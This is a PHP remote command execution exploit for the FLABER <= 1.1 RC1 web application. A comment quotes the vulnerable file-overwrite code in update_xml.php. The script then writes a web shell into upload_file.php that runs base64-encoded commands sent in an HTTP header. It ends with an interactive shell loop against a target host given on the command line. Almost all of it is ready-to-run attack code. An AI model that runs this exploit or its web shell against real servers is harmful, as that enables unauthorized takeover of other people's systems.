<?php

/*
  --------------------------------------------------
  FLABER <= 1.1 RC1 Remote Command Execution Exploit
  --------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.....: http://sourceforge.net/projects/flaber

  [-] vulnerable code in /function/update_xml.php
  
  12.    $target_file = $_GET ["target_file"];
  13.    
  14.    // if the target is well defined, update now...
  15.    if ($target_file == "")
  16.    {
  17.      echo ("<critical>" . $FILE_NAME . " Incorrect parameter target_file.</critical>");
  18.      exit;
  19.    }
  20.    
  21.    
  22.    $target_file = "../" . $target_file;
  23.    
  24.    // if it is a file
  25.    if (is_file ($target_file))
  26.    {
  27.      if (!is_writable ($target_file))
  28.      {
  29.        echo ("<critical>" . $FILE_NAME . " " . $target_file . " is not writable.</critical>");
  30.        exit;
  31.      }    
  32.  
  33.      $fp = fopen($target_file, "w");
  34.      
  35.      $raw_xml = file_get_contents("php://input");
  36.      fwrite($fp, $raw_xml);
  37.      
  38.      fclose ($fp);
  39.      echo ("<normal>" . $FILE_NAME . " " . $target_file . " updated successfully.</normal>");
  40.      exit;
  41.    }
  
  an attacker could be overwrite an existing file with arbitrary data by $_POST array (lines 33-36)

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
  $sock = fsockopen($host, 80);
  while (!$sock)
  {
    print "\n[-] No response from ".$host.":80 Trying again...";
    $sock = fsockopen($host, 80);
  }
  fputs($sock, $packet);
  while (!feof($sock)) $resp .= fread($sock, 1024);
  fclose($sock);
  return $resp;
}

print "\n+------------------------------------------------------------+";
print "\n| FLABER <= 1.1 RC1 Remote Command Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
  print "\nUsage:    php $argv[0] host path\n";
  print "\nhost:    target server (ip/hostname)";
  print "\npath:    path to FLABER directory (example: / or /flaber/\n";
  die();
}

$host  = $argv[1];
$path  = $argv[2];

$payload = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>";
$packet  = "POST {$path}function/update_xml.php?target_file=function/upload_file.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!preg_match("/updated successfully/", http_send($host, $packet))) die("\n\n[-] Exploit failed...\n");

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
  print "\nxpl0it-sh3ll > ";
  $cmd = trim(fgets(STDIN));
  if ($cmd != "exit")
  {
    $packet  = "GET {$path}function/upload_file.php HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Cmd: ".base64_encode($cmd)."\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $html = http_send($host, $packet);
    if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
    $shell = explode("_code_", $html);
    print "\n".$shell[1];
  }
  else break;
}

?>